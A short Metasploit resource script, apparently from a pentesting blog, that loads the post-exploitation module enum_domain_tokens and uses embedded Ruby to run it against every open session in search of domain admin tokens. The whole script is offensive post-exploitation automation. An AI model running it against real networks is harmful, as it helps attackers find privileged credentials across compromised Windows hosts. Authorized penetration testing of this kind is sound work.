Pretty straightforward little pattern here that will run a post module against all open sessions.

## This RC file assumes that you've got a bunch
## of open sessions, and now you want to go
## searching for a domain admin token.
use post/windows/gather/enum_domain_tokens
<ruby>
## Now run against all open sessions
framework.sessions.each do |session|
  driver.run_single("set SESSION #{session.first}")
  driver.run_single("run")
  sleep 1
end
</ruby>